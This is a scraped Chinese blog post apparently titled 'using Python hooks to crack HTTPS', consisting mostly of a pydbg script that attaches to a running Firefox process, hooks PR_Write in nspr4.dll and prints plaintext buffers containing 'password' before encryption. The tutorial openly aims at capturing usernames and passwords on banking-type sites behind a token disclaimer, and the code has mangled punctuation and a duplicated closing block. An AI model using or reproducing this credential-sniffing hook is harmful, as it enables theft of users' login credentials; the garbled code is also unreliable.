利用Python的hook技术破解https

相对于http协议，http是的特点就是他的安全性，http协议的通信内容用普通的嗅探器可以捕捉到，但是https协议的内容嗅探到的是加密后的内容，对我们的利用价值不是很高，所以一些大的网站----涉及到“大米”的网站，采用的都是http是协议，嘿嘿，即便这样，还是有办法能看到他的用户名和密码的，嘿嘿，本文只是用于技术学习，只是和大家交流技术，希望不要用于做违法的事情，这个例子是在firefox浏览器下登录https协议的网站，我们预先打开程序，就来了个捕获用户名和密码：下面是源代码：

#！/ur/bin/env python
from pydbg import *
from pydbg.defines import *
import utils
import sys
dbg = pydbg（）
found_firefox = False
pattern = "password"
def ssl_sniff（ dbg, args ）:
buffer = ""
offset = 0
while 1:
byte = dbg.read_process_memory（ args[1] + offset, 1 ）
if byte ！= "x00":
buffer += byte
offset += 1
continue
else:
break
if pattern in buffer:
print "Pre-Encrypted: %s" % buffer
return DBG_CONTINUE
# 寻找firefox.exe的进程
for （pid, name） in dbg.enumerate_processes（）:
if name.lower（） == "firefox.exe":
found_firefox = True
hooks = utils.hook_container（）
dbg.attach（pid）
print "[*] Attaching to firefox.exe with PID: %d" % pid
# 得到firefox的hook的 address
hook_address = dbg.func_resolve_debuggee（"nspr4.dll","PR_Write"）
if hook_address:
# 添加hook的内容，包括他的pid，地址，嗅探类型
hooks.add（ dbg, hook_address, 2, ssl_sniff, None ）
print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address
break
else:
print "[*] Error: Couldn"t resolve hook address."
sys.exit（-1）
if found_firefox:
print "[*] Hooks set, continuing process."
dbg.run（）
else:
print "[*] Error: Couldn"t find the firefox.exe process."
sys.exit（-1）
if found_firefox:
print "[*] Hooks set, continuing process."
dbg.run（）
else:
print "[*] Error: Couldn"t find the firefox.exe process."
sys.exit（-1）

让我们的Linux的Shell命令带颜色RHEL5.7下的静态路由配置相关资讯 python

Python 为什么要迁移到 Github （01月26日）
Python 程序员最常犯的十个错误（12/11/2015 18:32:46）
Python 面向对象编程（10/06/2015 21:19:35）

Python 决定迁移到 GitHub （01月03日）
Python面试必须要看的15个问题（11/26/2015 22:23:21）
Python 开发者节省时间的 10 个方（10/04/2015 06:58:39）

本文评论查看全部评论（0）

表情：姓名：匿名字数

<div style="text-align: center;padding:20px;">
            <button class="layui-btn layui-bg-purple" id="dofav">收藏该网址</button>
        </div>
    </div>
</div>
<div class="copyright">
    <div id="footbar">
        版权所有©石家庄振强科技有限公司2024 <a href="https://beian.miit.gov.cn" target="_blank">冀ICP备08103738号-5</a> <a href="/storage/sitemap.xml">网站地图</a>
    </div>
</div>
<script> var _mtj = _mtj || [];
(function () {
    var mtj = document.createElement("script");
    mtj.src = "https://node12.aizhantj.com:21233/tjjs/?k=p2tceukth5c";
    var s = document.getElementsByTagName("script")[0];
    s.parentNode.insertBefore(mtj, s);
})(); </script>
<script src="/static/lib/layui/layui.js"></script>
<script src="/static/lib/jquery/jquery.js"></script>
<script src="/static/lib/ajax.js"></script>
<script>
    layui.use(function () {
        var layer = layui.layer;
        var $ = layui.jquery;
        $("#dofav").click(function () {
            var artid = $(".article").attr("artid");
            var params={
                artid:artid,
                addtype:'escdns_article',
                t:Math.random()
            };
            if(artid>0){
                ajax.request({
                    method: "/index/article/addfavorite", type: "post", callback: function (res) {
                        layer.msg(res.msg);
                    }
                },params);
            }
        })
    })
</script>
</body>
</html>